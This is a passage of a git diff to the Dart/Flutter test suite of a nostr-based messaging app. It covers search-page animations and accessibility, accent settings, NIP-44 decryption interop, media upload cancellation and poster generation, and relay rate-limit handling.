+      tester.widget<TextField>(find.byType(TextField)).focusNode?.hasFocus,
+      isTrue,
+    );
+
+    final focusNode = tester
+        .widget<TextField>(find.byType(TextField))
+        .focusNode!;
+    // Reproduce the real tab-tap ordering where the destination callback can
+    // run immediately before the same pointer gesture dismisses the field.
+    tabReselection.value++;
+    focusNode.unfocus();
+    await tester.pump();
+    await tester.pump();
+
+    expect(find.byKey(const Key('search-cancel')), findsOneWidget);
+    expect(focusNode.hasFocus, isTrue);
+    expect(
+      tester
+          .widget<AnimatedOpacity>(
+            find.byKey(const Key('search-header-title-opacity')),
+          )
+          .opacity,
+      0,
+      reason: 'The tab gesture must not paint a close-and-reopen flicker.',
+    );
+  });
+
+  testWidgets('uses the shared frosted navigation surface', (tester) async {
+    await tester.pumpWidget(
+      WidgetHelpers.testable(
+        overrides: [
+          searchProvider.overrideWith(
+            () => _FakeSearchNotifier(const SearchState.initial()),
+          ),
+          recentSearchesProvider.overrideWith(
+            () => _FakeRecentSearchesNotifier(const []),
+          ),
+          profileProvider.overrideWith(() => _FakeProfileNotifier()),
+        ],
+        child: const SearchPage(),
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    final appBar = tester.widget<FrostedAppBar>(find.byType(FrostedAppBar));
+    expect(appBar.gradient, isNull);
+    expect(appBar.frosted, isTrue);
+    expect(appBar.showBottomDivider, isTrue);
+    expect(appBar.bottomDividerOpacity, 0.06);
+    expect(appBar.bottomHeight, 57);
+    expect(appBar.leading, isNull);
+    expect(find.text('Search'), findsOneWidget);
+    final promptText = find.descendant(
+      of: find.byKey(const Key('search-field-container')),
+      matching: find.byType(Text),
+    );
+    expect(
+      tester.getRect(promptText).left,
+      closeTo(
+        tester.getRect(find.byKey(const Key('search-moving-icon'))).right +
+            Grid.xxs,
+        0.01,
+      ),
+    );
+    expect(
+      tester.getRect(promptText).center.dy,
+      closeTo(
+        tester
+            .getRect(find.byKey(const Key('search-field-container')))
+            .center
+            .dy,
+        0.5,
+      ),
+    );
+  });
+
   testWidgets('empty state preserves large accessible text scaling', (
     tester,
   ) async {
@@ -49,8 +154,30 @@ void main() {
     );
     await tester.pumpAndSettle();
 
+    final appBar = tester.widget<FrostedAppBar>(find.byType(FrostedAppBar));
+    final titleStyle = appBar.titleStyle!;
+    expect(titleStyle.fontSize, 22);
+    expect(
+      tester
+          .getSize(
+            find
+                .descendant(
+                  of: find.byType(FrostedAppBar),
+                  matching: find.byType(ClipRect),
+                )
+                .first,
+          )
+          .height,
+      closeTo(
+        frostedAppBarHeight(
+          tester.element(find.byType(FrostedAppBar)),
+          titleStyle: titleStyle,
+          bottomHeight: appBar.bottomHeight,
+        ),
+        0.01,
+      ),
+    );
     final emptyState = find.byKey(const Key('search-empty-state'));
-    final message = find.text('Search messages, channels, and people');
     final searchField = find.byKey(const Key('search-field-container'));
     final searchFieldContext = tester.element(searchField);
     final bodyStyle = Theme.of(searchFieldContext).textTheme.bodyMedium!;
@@ -66,12 +193,68 @@ void main() {
       tester.getSize(searchField).height,
       greaterThanOrEqualTo(scaledLineHeight + Grid.xxs * 2),
     );
-    final input = tester.widget<TextField>(
-      find.byKey(const Key('search-field')),
+    final prompt = tester.widget<Text>(
+      find.descendant(
+        of: find.byKey(const Key('search-field-container')),
+        matching: find.byType(Text),
+      ),
+    );
+    expect(prompt.style?.fontSize, 15);
+    expect(prompt.maxLines, 1);
+    expect(prompt.overflow, TextOverflow.ellipsis);
+    expect(
+      tester
+          .getSize(find.descendant(of: emptyState, matching: find.byType(Text)))
+          .height,
+      greaterThan(32),
+    );
+    expect(tester.takeException(), isNull);
+  });
+
+  testWidgets('search filters grow with accessible text', (tester) async {
+    await tester.pumpWidget(
+      WidgetHelpers.testable(
+        overrides: [
+          searchProvider.overrideWith(
+            () => _FakeSearchNotifier(const SearchState.initial()),
+          ),
+          recentSearchesProvider.overrideWith(
+            () => _FakeRecentSearchesNotifier(const []),
+          ),
+          profileProvider.overrideWith(() => _FakeProfileNotifier()),
+        ],
+        child: Builder(
+          builder: (context) => MediaQuery(
+            data: MediaQuery.of(
+              context,
+            ).copyWith(textScaler: const TextScaler.linear(2)),
+            child: const SearchPage(),
+          ),
+        ),
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    await tester.tap(find.byKey(const Key('search-field')));
+    await tester.pumpAndSettle();
+
+    final filters = find.byKey(const Key('search-header-filters'));
+    final activeField = find.byKey(const Key('search-field-container'));
+    final cancel = find.byKey(const Key('search-cancel'));
+    expect(filters, findsOneWidget);
+    expect(cancel, findsOneWidget);
+    expect(
+      tester.getRect(activeField).right,
+      lessThanOrEqualTo(tester.getRect(cancel).left),
+      reason: 'Scaled Cancel must not overlap the active search field.',
+    );
+    expect(tester.getSize(filters).height, greaterThan(Grid.xl));
+    expect(
+      tester.getSize(filters).height,
+      greaterThanOrEqualTo(
+        tester.getSize(find.text('Messages')).height + Grid.xs * 2,
+      ),
     );
-    expect(input.style?.fontSize, searchInputTextStyle.fontSize);
-    expect(input.style?.height, searchInputTextStyle.height);
-    expect(tester.getSize(message).height, greaterThan(32));
     expect(tester.takeException(), isNull);
   });
 
@@ -93,20 +276,13 @@ void main() {
     await tester.pumpAndSettle();
 
     final searchField = find.byKey(const Key('search-field'));
+    final editingField = find.byType(TextField);
     final searchFieldContainer = find.byKey(
       const Key('search-field-container'),
     );
     final unfocusedWidth = tester.getSize(searchFieldContainer).width;
+    final unfocusedTop = tester.getRect(searchFieldContainer).top;
     expect(find.byKey(const Key('search-cancel')), findsNothing);
-    expect(
-      tester.widget<TextField>(searchField).decoration?.hintText,
-      'Search messages, channels, people\u2026',
-    );
-    expect(
-      tester.widget<TextField>(searchField).textInputAction,
-      TextInputAction.search,
-    );
-
     await tester.tap(searchField);
     await tester.pump();
 
@@ -117,7 +293,14 @@ void main() {
       greaterThanOrEqualTo(Grid.xl),
       reason: 'Cancel must keep a 48dp touch target.',
     );
-    expect(tester.widget<TextField>(searchField).decoration?.hintText, isNull);
+    final input = tester.widget<TextField>(editingField);
+    expect(input.decoration?.hintText, isNull);
+    expect(input.textInputAction, TextInputAction.search);
+    expect(
+      input.focusNode?.hasFocus,
+      isTrue,
+      reason: 'Tapping the idle search field opens the native keyboard.',
+    );
     final enteringSlide = tester.widget<SlideTransition>(
       find.ancestor(of: cancel, matching: find.byType(SlideTransition)).first,
     );
@@ -125,28 +308,58 @@ void main() {
 
     await tester.pump(const Duration(milliseconds: 160));
     final focusedWidth = tester.getSize(searchFieldContainer).width;
+    final focusedRect = tester.getRect(searchFieldContainer);
     expect(focusedWidth, lessThan(unfocusedWidth));
+    expect(
+      focusedRect.top,
+      lessThan(unfocusedTop),
+      reason: 'The active field translates upward into the title row.',
+    );
+    expect(find.byKey(const Key('search-header-filters')), findsOneWidget);
     final settledSlide = tester.widget<SlideTransition>(
       find.ancestor(of: cancel, matching: find.byType(SlideTransition)).first,
     );
     expect(settledSlide.position.value, Offset.zero);
+    final movingIcon = find.byKey(const Key('search-moving-icon'));
+    final iconScale = tester.widget<AnimatedScale>(
+      find.ancestor(of: movingIcon, matching: find.byType(AnimatedScale)),
+    );
+    final movingField = tester.widget<AnimatedPositioned>(
+      find.ancestor(of: movingIcon, matching: find.byType(AnimatedPositioned)),
+    );
+    expect(iconScale.scale, lessThan(1));
+    expect(movingField.top, Grid.half);
+    final appBarRect = tester.getRect(find.byType(FrostedAppBar));
+    expect(
+      appBarRect.contains(focusedRect.center),
+      isTrue,
+      reason: 'The translated field remains inside the app bar hit-test box.',
+    );
 
-    await tester.enterText(searchField, 'design');
+    await tester.enterText(editingField, 'design');
     await tester.tap(cancel);
     await tester.pump();
-    await tester.pump(const Duration(milliseconds: 60));
-    final exitingWidth = tester.getSize(searchFieldContainer).width;
-    expect(exitingWidth, greaterThan(focusedWidth));
-    expect(exitingWidth, lessThan(unfocusedWidth));
-    await tester.pumpAndSettle();
 
-    final input = tester.widget<TextField>(searchField);
-    expect(input.controller?.text, isEmpty);
-    expect(input.focusNode?.hasFocus, isFalse);
+    final titleOpacity = tester.widget<AnimatedOpacity>(
+      find.byKey(const Key('search-header-title-opacity')),
+    );
+    expect(
+      titleOpacity.opacity,
+      1,
+      reason:
+          'The title fades beneath the returning field instead of appearing after it.',
+    );
+    await tester.pump(const Duration(milliseconds: 159));
     expect(
-      input.decoration?.hintText,
-      'Search messages, channels, people\u2026',
+      tester
+          .widget<AnimatedOpacity>(
+            find.byKey(const Key('search-header-title-opacity')),
+          )
+          .opacity,
+      1,
     );
+    await tester.pumpAndSettle();
+
     expect(find.byKey(const Key('search-cancel')), findsNothing);
     expect(
       tester.getSize(searchFieldContainer).width,
@@ -154,6 +367,42 @@ void main() {
     );
   });
 
+  testWidgets('keeps the search prompt calm until it is focused', (
+    tester,
+  ) async {
+    await tester.pumpWidget(
+      WidgetHelpers.testable(
+        overrides: [
+          searchProvider.overrideWith(
+            () => _FakeSearchNotifier(const SearchState.initial()),
+          ),
+          recentSearchesProvider.overrideWith(
+            () => _FakeRecentSearchesNotifier(const []),
+          ),
+          profileProvider.overrideWith(() => _FakeProfileNotifier()),
+        ],
+        child: const SearchPage(),
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    final searchField = find.byKey(const Key('search-field'));
+    final searchFieldContainer = find.byKey(
+      const Key('search-field-container'),
+    );
+    expect(find.text('Messages'), findsNothing);
+    expect(tester.getSize(searchFieldContainer).height, greaterThan(36));
+
+    await tester.tap(searchField);
+    await tester.pumpAndSettle();
+
+    expect(find.text('Messages'), findsOneWidget);
+    expect(
+      tester.getSize(searchFieldContainer).height,
+      greaterThanOrEqualTo(36),
+    );
+  });
+
   testWidgets('only submitted queries are added to recent searches', (
     tester,
   ) async {
@@ -243,7 +492,13 @@ void main() {
     await tester.tap(find.byKey(const Key('clear-recent-searches')));
     await tester.pumpAndSettle();
     expect(find.byKey(const Key('recent-searches-list')), findsNothing);
-    expect(find.text('Search messages, channels, and people'), findsOneWidget);
+    expect(
+      find.descendant(
+        of: find.byKey(const Key('search-empty-state')),
+        matching: find.text('Search messages, channels, and people'),
+      ),
+      findsOneWidget,
+    );
   });
 
   testWidgets('keeps recent searches scrollable above the keyboard', (
diff --git a/mobile/test/features/settings/theme_picker_page_test.dart b/mobile/test/features/settings/theme_picker_page_test.dart
index 6f8591f285..010db98ba3 100644
--- a/mobile/test/features/settings/theme_picker_page_test.dart
+++ b/mobile/test/features/settings/theme_picker_page_test.dart
@@ -3,6 +3,7 @@ import 'package:flutter_test/flutter_test.dart';
 import 'package:lucide_icons_flutter/lucide_icons.dart';
 import 'package:buzz/features/settings/accent_picker_page.dart';
 import 'package:buzz/features/settings/theme_picker_page.dart';
+import 'package:buzz/features/settings/settings_page.dart';
 import 'package:buzz/shared/theme/theme.dart';
 import 'package:shared_preferences/shared_preferences.dart';
 
@@ -167,6 +168,34 @@ void main() {
     });
   });
 
+  group('Buzz accent behavior', () {
+    testWidgets('settings hides accent navigation for Buzz', (tester) async {
+      await _pumpPicker(
+        tester,
+        const SettingsPage(profileHeader: SizedBox.shrink()),
+        prefs: {'buzz_color_scheme': 'buzz', 'buzz_accent_color': 4},
+      );
+
+      expect(find.text('Accent color'), findsNothing);
+    });
+
+    testWidgets('settings restores accent navigation away from Buzz', (
+      tester,
+    ) async {
+      await _pumpPicker(
+        tester,
+        const SettingsPage(profileHeader: SizedBox.shrink()),
+        prefs: {
+          'buzz_theme_mode': 'light',
+          'buzz_color_scheme': 'github-light',
+          'buzz_accent_color': 4,
+        },
+      );
+
+      expect(find.text('Accent color'), findsOneWidget);
+    });
+  });
+
   group('AccentPickerPage', () {
     testWidgets('lists every accent and checks the stored one', (tester) async {
       await _pumpPicker(
diff --git a/mobile/test/shared/crypto/nip44_interop_test.dart b/mobile/test/shared/crypto/nip44_interop_test.dart
new file mode 100644
index 0000000000..be4e7d87bc
--- /dev/null
+++ b/mobile/test/shared/crypto/nip44_interop_test.dart
@@ -0,0 +1,21 @@
+import 'package:buzz/shared/crypto/nip44.dart';
+import 'package:flutter_test/flutter_test.dart';
+
+void main() {
+  test('decrypts a desktop nostr-rs NIP-44 v2 self-encrypted payload', () {
+    const privateKey =
+        '0000000000000000000000000000000000000000000000000000000000000001';
+    const publicKey =
+        '79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798';
+    const desktopCiphertext =
+        'Au0C/BZ3gT83RnPFiPYGr70BuEyKDlZrk1nEJUDZbkoNgpSjE7JUKRb3VRbegcQYUvNT2Qayf3DkfuSb1M6l70IDpsQ25y8xwDA+uEreyRxDdZ5tQF+C9iB3Qr0vinFQpbR9f0SIvUahwAzyHBMdZ1butlCHi9aqv0C1/w1MWMWeoGaPm4XtkhJSPawCGMuFVw1Z8r64bxMSI6EThc4HtR9p4Q==';
+
+    expect(
+      nip44Decrypt(
+        getConversationKey(privateKey, publicKey),
+        desktopCiphertext,
+      ),
+      '{"version":1,"theme":"catppuccin-latte","accent":"#f97316","followSystem":false}',
+    );
+  });
+}
diff --git a/mobile/test/shared/emoji/native_emoji_glyph_test.dart b/mobile/test/shared/emoji/native_emoji_glyph_test.dart
new file mode 100644
index 0000000000..435423905f
--- /dev/null
+++ b/mobile/test/shared/emoji/native_emoji_glyph_test.dart
@@ -0,0 +1,37 @@
+import 'package:buzz/shared/emoji/native_emoji_glyph.dart';
+import 'package:flutter/foundation.dart';
+import 'package:flutter/material.dart';
+import 'package:flutter_test/flutter_test.dart';
+
+void main() {
+  testWidgets('lifts the glyph one logical pixel on iOS', (tester) async {
+    debugDefaultTargetPlatformOverride = TargetPlatform.iOS;
+    try {
+      await tester.pumpWidget(
+        const MaterialApp(
+          home: Center(child: NativeEmojiGlyph(emoji: '🔥', size: 24)),
+        ),
+      );
+
+      final transform = tester.widget<Transform>(find.byType(Transform));
+      expect(transform.transform.getTranslation().y, -1);
+    } finally {
+      debugDefaultTargetPlatformOverride = null;
+    }
+  });
+
+  testWidgets('keeps the glyph unshifted on Android', (tester) async {
+    debugDefaultTargetPlatformOverride = TargetPlatform.android;
+    try {
+      await tester.pumpWidget(
+        const MaterialApp(
+          home: Center(child: NativeEmojiGlyph(emoji: '🔥', size: 24)),
+        ),
+      );
+
+      expect(find.byType(Transform), findsNothing);
+    } finally {
+      debugDefaultTargetPlatformOverride = null;
+    }
+  });
+}
diff --git a/mobile/test/shared/relay/media_upload_test.dart b/mobile/test/shared/relay/media_upload_test.dart
index dcd04359b2..815f41c53a 100644
--- a/mobile/test/shared/relay/media_upload_test.dart
+++ b/mobile/test/shared/relay/media_upload_test.dart
@@ -1,3 +1,4 @@
+import 'dart:async';
 import 'dart:convert';
 import 'dart:io';
 
@@ -1340,6 +1341,184 @@ void main() {
       }
     });
 
+    test(
+      'stops before reading a transcode completed after cancellation',
+      () async {
+        final transcodeStarted = Completer<void>();
+        final transcodeFinished = Completer<String>();
+        final cancellationToken = UploadCancellationToken();
+        var uploadRequested = false;
+        final (xfile, sourceFile) = await writeTempVideo(
+          buildFtypHeader('qt  '),
+          'clip.mov',
+        );
+        final outputDirectory = await Directory.systemTemp.createTemp(
+          'cancelled_transcode_',
+        );
+        final outputFile = File('${outputDirectory.path}/out.mp4');
+        final outputHandle = await outputFile.open(mode: FileMode.write);
+        await outputHandle.truncate(101 * 1024 * 1024);
+        await outputHandle.close();
+
+        try {
+          final service = MediaUploadService(
+            baseUrl: 'https://relay.example',
+            nsec: nostr.Keys.generate().nsec,
+            httpClient: http_testing.MockClient((_) async {
+              uploadRequested = true;
+              return http.Response('', HttpStatus.internalServerError);
+            }),
+            pickGalleryVideo: () async => xfile,
+            pickGalleryImage: () async => null,
+            transcodeVideoToMp4: (_) {
+              transcodeStarted.complete();
+              return transcodeFinished.future;
+            },
+          );
+
+          final upload = service.uploadVideo(
+            xfile,
+            cancellationToken: cancellationToken,
+          );
+          final expectation = expectLater(
+            upload,
+            throwsA(isA<UploadCancelledException>()),
+          );
+          await transcodeStarted.future;
+          cancellationToken.cancel();
+          transcodeFinished.complete(outputFile.path);
+          await expectation;
+
+          expect(uploadRequested, isFalse);
+          expect(await outputFile.exists(), isFalse);
+        } finally {
+          await sourceFile.parent.delete(recursive: true);
+          await outputDirectory.delete(recursive: true);
+        }
+      },
+    );
+
+    test(
+      'uploads a generated poster and links it from the video imeta',
+      () async {
+        final keychain = nostr.Keys.generate();
+        final requestTypes = <String>[];
+        final client = http_testing.MockClient((request) async {
+          final type = request.headers['Content-Type']!;
+          requestTypes.add(type);
+          final isPoster = type == 'image/jpeg';
+          return http.Response(
+            jsonEncode({
+              'url': isPoster
+                  ? 'https://relay.example/media/poster.jpg'
+                  : 'https://relay.example/media/test.mp4',
+              'sha256':
+                  '0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef',
+              'size': 32,
+              'type': type,
+              'uploaded': 1,
+            }),
+            200,
+          );
+        });
+
+        final (xfile, tempFile) = await writeTempVideo(
+          buildFtypHeader('qt  '),
+          'clip.mov',
+        );
+        try {
+          final service = MediaUploadService(
+            baseUrl: 'https://relay.example',
+            nsec: keychain.nsec,
+            httpClient: client,
+            pickGalleryVideo: () async => xfile,
+            pickGalleryImage: () async => null,
+            transcodeVideoToMp4: (path) async {
+              final outDir = await Directory.systemTemp.createTemp(
+                'transcode_',
+              );
+              final outFile = File('${outDir.path}/out.mp4');
+              await outFile.writeAsBytes(buildFtypHeader('isom'));
+              return outFile.path;
+            },
+            generateVideoPoster: (_) async => _jpegBytes,
+            sanitizeImageBytes: (bytes, _) async => bytes,
+            now: () => DateTime.fromMillisecondsSinceEpoch(1_700_000_000_000),
+          );
+
+          final descriptor = await service.pickAndUploadVideo();
+
+          expect(descriptor?.image, 'https://relay.example/media/poster.jpg');
+          expect(
+            descriptor?.toImetaTag(),
+            contains('image https://relay.example/media/poster.jpg'),
+          );
+          expect(requestTypes, ['video/mp4', 'image/jpeg']);
+        } finally {
+          await tempFile.parent.delete(recursive: true);
+        }
+      },
+    );
+
+    test(
+      'falls back to the picked video when the exported poster fails',
+      () async {
+        final sourcePaths = <String>[];
+        final client = http_testing.MockClient((request) async {
+          final type = request.headers['Content-Type']!;
+          return http.Response(
+            jsonEncode({
+              'url': type == 'image/jpeg'
+                  ? 'https://relay.example/media/poster.jpg'
+                  : 'https://relay.example/media/test.mp4',
+              'sha256':
+                  '0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef',
+              'size': request.bodyBytes.length,
+              'type': type,
+              'uploaded': 1,
+            }),
+            200,
+          );
+        });
+
+        final (xfile, tempFile) = await writeTempVideo(
+          buildFtypHeader('qt  '),
+          'clip.mov',
+        );
+        try {
+          final service = MediaUploadService(
+            baseUrl: 'https://relay.example',
+            nsec: nostr.Keys.generate().nsec,
+            httpClient: client,
+            pickGalleryVideo: () async => xfile,
+            pickGalleryImage: () async => null,
+            transcodeVideoToMp4: (path) async {
+              final outDir = await Directory.systemTemp.createTemp(
+                'transcode_',
+              );
+              final outFile = File('${outDir.path}/out.mp4');
+              await outFile.writeAsBytes(buildFtypHeader('isom'));
+              return outFile.path;
+            },
+            generateVideoPoster: (path) async {
+              sourcePaths.add(path);
+              if (sourcePaths.length == 1) throw Exception('frame unavailable');
+              return _jpegBytes;
+            },
+            sanitizeImageBytes: (bytes, _) async => bytes,
+          );
+
+          final descriptor = await service.pickAndUploadVideo();
+
+          expect(sourcePaths, hasLength(2));
+          expect(sourcePaths.last, xfile.path);
+          expect(descriptor?.image, 'https://relay.example/media/poster.jpg');
+        } finally {
+          await tempFile.parent.delete(recursive: true);
+        }
+      },
+    );
+
     test('returns null when video picker is cancelled', () async {
       final service = MediaUploadService(
         baseUrl: 'https://relay.example',
diff --git a/mobile/test/shared/relay/relay_closed_policy_test.dart b/mobile/test/shared/relay/relay_closed_policy_test.dart
new file mode 100644
index 0000000000..ff78ea89ef
--- /dev/null
+++ b/mobile/test/shared/relay/relay_closed_policy_test.dart
@@ -0,0 +1,45 @@
+import 'package:buzz/shared/relay/relay.dart';
+import 'package:flutter_test/flutter_test.dart';
+
+void main() {
+  group('classifyRelayClosed', () {
+    const cases = {
+      'rate-limited: quota exceeded; retry in 4s': RelayClosedClass.rateLimited,
+      'rate-limited: too many concurrent requests':
+          RelayClosedClass.rateLimited,
+      'restricted: access revoked': RelayClosedClass.terminal,
+      'auth-required: verification failed': RelayClosedClass.terminal,
+      'blocked: community policy': RelayClosedClass.terminal,
+      'invalid: malformed filter': RelayClosedClass.terminal,
+      'pow: insufficient work': RelayClosedClass.terminal,
+      'duplicate: subscription already exists': RelayClosedClass.terminal,
+      'unsupported: filter extension': RelayClosedClass.terminal,
+      'error: mixed search and channel filter': RelayClosedClass.terminal,
+      'error: too many subscriptions': RelayClosedClass.terminal,
+      'error: relay temporarily unavailable': RelayClosedClass.retryable,
+      'subscription closed by relay': RelayClosedClass.retryable,
+    };
+
+    for (final entry in cases.entries) {
+      test(entry.key, () {
+        expect(classifyRelayClosed(entry.key), entry.value);
+      });
+    }
+  });
+
+  test('parseRateLimitRetrySeconds handles canonical and absent hints', () {
+    expect(
+      parseRateLimitRetrySeconds('rate-limited: quota exceeded; retry in 17s'),
+      17,
+    );
+    expect(parseRateLimitRetrySeconds('RETRY IN 2S'), 2);
+    expect(parseRateLimitRetrySeconds('retry in 0s'), 0);
+    expect(parseRateLimitRetrySeconds('retry in 999999s'), 999999);
+    final oversizedHint = List.filled(1000, '9').join();
+    expect(parseRateLimitRetrySeconds('retry in ${oversizedHint}s'), isNull);
+    expect(
+      parseRateLimitRetrySeconds('rate-limited: too many concurrent requests'),
+      isNull,
+    );
+  });
+}
diff --git a/mobile/test/shared/relay/relay_rate_limit_gate_test.dart b/mobile/test/shared/relay/relay_rate_limit_gate_test.dart
new file mode 100644
index 0000000000..811d439572
--- /dev/null
+++ b/mobile/test/shared/relay/relay_rate_limit_gate_test.dart
@@ -0,0 +1,118 @@
+import 'dart:async';
+
+import 'package:buzz/shared/relay/relay.dart';
+import 'package:flutter_test/flutter_test.dart';
+
+void main() {
+  test('uses the default for absent and non-positive hints', () {
+    var now = DateTime.utc(2026);
+    final timers = <_ManualTimer>[];
+    final gate = RelayRateLimitGate(
+      now: () => now,
+      timerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        timers.add(timer);
+        return timer;
+      },
+    );
+
+    gate.activate(null);
+    expect(gate.remainingMs(), 10000);
+    expect(timers.single.duration, const Duration(seconds: 10));
+
+    now = now.add(const Duration(seconds: 11));
+    gate.activate(0);
+    expect(timers.last.duration, const Duration(seconds: 10));
+  });
+
+  test('clamps large hints to five minutes', () {
+    final timers = <_ManualTimer>[];
+    final gate = RelayRateLimitGate(
+      now: () => DateTime.utc(2026),
+      timerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        timers.add(timer);
+        return timer;
+      },
+    );
+
+    gate.activate(999999);
+
+    expect(timers.single.duration, const Duration(seconds: 300));
+    expect(gate.remainingMs(), 300000);
+  });
+
+  test('overlapping activations only extend the active window', () async {
+    var now = DateTime.utc(2026);
+    final timers = <_ManualTimer>[];
+    final gate = RelayRateLimitGate(
+      now: () => now,
+      timerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        timers.add(timer);
+        return timer;
+      },
+    );
+
+    gate.activate(30);
+    final wait = gate.wait();
+    final firstTimer = timers.single;
+
+    now = now.add(const Duration(seconds: 5));
+    gate.activate(10);
+    expect(timers, hasLength(1));
+    expect(gate.remainingMs(), 25000);
+
+    gate.activate(40);
+    expect(timers, hasLength(2));
+    expect(firstTimer.isActive, isFalse);
+    expect(gate.remainingMs(), 40000);
+
+    timers.last.fire();
+    await wait;
+    expect(gate.isActive, isFalse);
+    expect(gate.remainingMs(), 0);
+  });
+
+  test('reset releases waiters and cancels the active timer', () async {
+    final timers = <_ManualTimer>[];
+    final gate = RelayRateLimitGate(
+      timerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        timers.add(timer);
+        return timer;
+      },
+    );
+
+    gate.activate(20);
+    final wait = gate.wait();
+    gate.reset();
+
+    await wait;
+    expect(timers.single.isActive, isFalse);
+    expect(gate.isActive, isFalse);
+  });
+}
+
+class _ManualTimer implements Timer {
+  _ManualTimer(this.duration, this._callback);
+
+  final Duration duration;
+  final void Function() _callback;
+  bool _active = true;
+
+  void fire() {
+    if (!_active) return;
+    _active = false;
+    _callback();
+  }
+
+  @override
+  void cancel() => _active = false;
+
+  @override
+  bool get isActive => _active;
+
+  @override
+  int get tick => _active ? 0 : 1;
+}
diff --git a/mobile/test/shared/relay/relay_session_test.dart b/mobile/test/shared/relay/relay_session_test.dart
index 4647c05e07..826e234400 100644
--- a/mobile/test/shared/relay/relay_session_test.dart
+++ b/mobile/test/shared/relay/relay_session_test.dart
@@ -105,6 +105,178 @@ void main() {
     );
   });
 
+  test('queryRelay arms the rate-limit gate from a 429 retry hint', () async {
+    final gateTimers = <_ManualTimer>[];
+    final gate = RelayRateLimitGate(
+      now: () => DateTime(2026),
+      timerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        gateTimers.add(timer);
+        return timer;
+      },
+    );
+    const body = '{"error":"rate-limited: quota exceeded; retry in 4s"}';
+    final harness = _queryHarness(
+      gate: gate,
+      client: http_testing.MockClient((_) async => http.Response(body, 429)),
+    );
+    addTearDown(harness.container.dispose);
+
+    await expectLater(
+      harness.session.queryRelay(const []),
+      throwsA(
+        isA<RelayException>()
+            .having((error) => error.statusCode, 'statusCode', 429)
+            .having((error) => error.body, 'body', body),
+      ),
+    );
+
+    expect(gateTimers.single.duration, const Duration(seconds: 4));
+    expect(gate.isActive, isTrue);
+  });
+
+  test('queryRelay uses the default gate for a 503 without a hint', () async {
+    final gateTimers = <_ManualTimer>[];
+    final gate = RelayRateLimitGate(
+      now: () => DateTime(2026),
+      timerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        gateTimers.add(timer);
+        return timer;
+      },
+    );
+    const body = '{"error":"rate-limited: shared admission unavailable"}';
+    final harness = _queryHarness(
+      gate: gate,
+      client: http_testing.MockClient((_) async => http.Response(body, 503)),
+    );
+    addTearDown(harness.container.dispose);
+
+    await expectLater(
+      harness.session.queryRelay(const []),
+      throwsA(
+        isA<RelayException>()
+            .having((error) => error.statusCode, 'statusCode', 503)
+            .having((error) => error.body, 'body', body),
+      ),
+    );
+
+    expect(gateTimers.single.duration, const Duration(seconds: 10));
+    expect(gate.isActive, isTrue);
+  });
+
+  test('queryRelay does not arm the gate for a non-rate-limit error', () async {
+    final gateTimers = <_ManualTimer>[];
+    final gate = RelayRateLimitGate(
+      now: () => DateTime(2026),
+      timerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        gateTimers.add(timer);
+        return timer;
+      },
+    );
+    const body = '{"error":"not found"}';
+    final harness = _queryHarness(
+      gate: gate,
+      client: http_testing.MockClient((_) async => http.Response(body, 404)),
+    );
+    addTearDown(harness.container.dispose);
+
+    await expectLater(
+      harness.session.queryRelay(const []),
+      throwsA(
+        isA<RelayException>()
+            .having((error) => error.statusCode, 'statusCode', 404)
+            .having((error) => error.body, 'body', body),
+      ),
+    );
+
+    expect(gateTimers, isEmpty);
+    expect(gate.isActive, isFalse);
+  });
+
+  test('queryRelay preserves an error with an unrecognized body', () async {
+    final gateTimers = <_ManualTimer>[];
+    final gate = RelayRateLimitGate(
+      now: () => DateTime(2026),
+      timerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        gateTimers.add(timer);
+        return timer;
+      },
+    );
+    const body = 'upstream unavailable';
+    final harness = _queryHarness(
+      gate: gate,
+      client: http_testing.MockClient((_) async => http.Response(body, 503)),
+    );
+    addTearDown(harness.container.dispose);
+
+    await expectLater(
+      harness.session.queryRelay(const []),
+      throwsA(
+        isA<RelayException>()
+            .having((error) => error.statusCode, 'statusCode', 503)
+            .having((error) => error.body, 'body', body),
+      ),
+    );
+
+    expect(gateTimers, isEmpty);
+    expect(gate.isActive, isFalse);
+  });
+
+  test('queryRelay success does not arm the rate-limit gate', () async {
+    final gateTimers = <_ManualTimer>[];
+    final gate = RelayRateLimitGate(
+      now: () => DateTime(2026),
+      timerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        gateTimers.add(timer);
+        return timer;
+      },
+    );
+    final harness = _queryHarness(
+      gate: gate,
+      client: http_testing.MockClient((_) async => http.Response('[]', 200)),
+    );
+    addTearDown(harness.container.dispose);
+
+    expect(await harness.session.queryRelay(const []), isEmpty);
+    expect(gateTimers, isEmpty);
+    expect(gate.isActive, isFalse);
+  });
+
+  test('queryRelay does not wait for an active rate-limit gate', () async {
+    final gate = RelayRateLimitGate(
+      now: () => DateTime(2026),
+      timerFactory: _ManualTimer.new,
+    );
+    var requestCount = 0;
+    final harness = _queryHarness(
+      gate: gate,
+      client: http_testing.MockClient((_) async {
+        requestCount++;
+        return http.Response('[]', 200);
+      }),
+    );
+    addTearDown(harness.container.dispose);
+    // Let the provider's build/dispose churn settle before arming: reading the
+    // notifier registers `ref.onDispose(_dispose)`, and `_dispose` resets the
+    // shared gate. Arming before that settles leaves the gate disarmed by the
+    // time the request runs, which makes this row pass for the wrong reason.
+    await pumpEventQueue();
+    gate.activate(4);
+    expect(gate.isActive, isTrue);
+
+    final query = harness.session.queryRelay(const []);
+    await Future<void>.delayed(Duration.zero);
+
+    expect(requestCount, 1);
+    expect(await query, isEmpty);
+    // Still armed: the read must neither wait on the gate nor clear it.
+    expect(gate.isActive, isTrue);
+  });
+
   test(
     'history timeout rejects instead of returning partial empty data',
     () async {
@@ -260,6 +432,120 @@ void main() {
     expect(session.state.status, SessionStatus.disconnected);
   });
 
+  test(
+    'resume reconnects a stale connected session after a long pause',
+    () async {
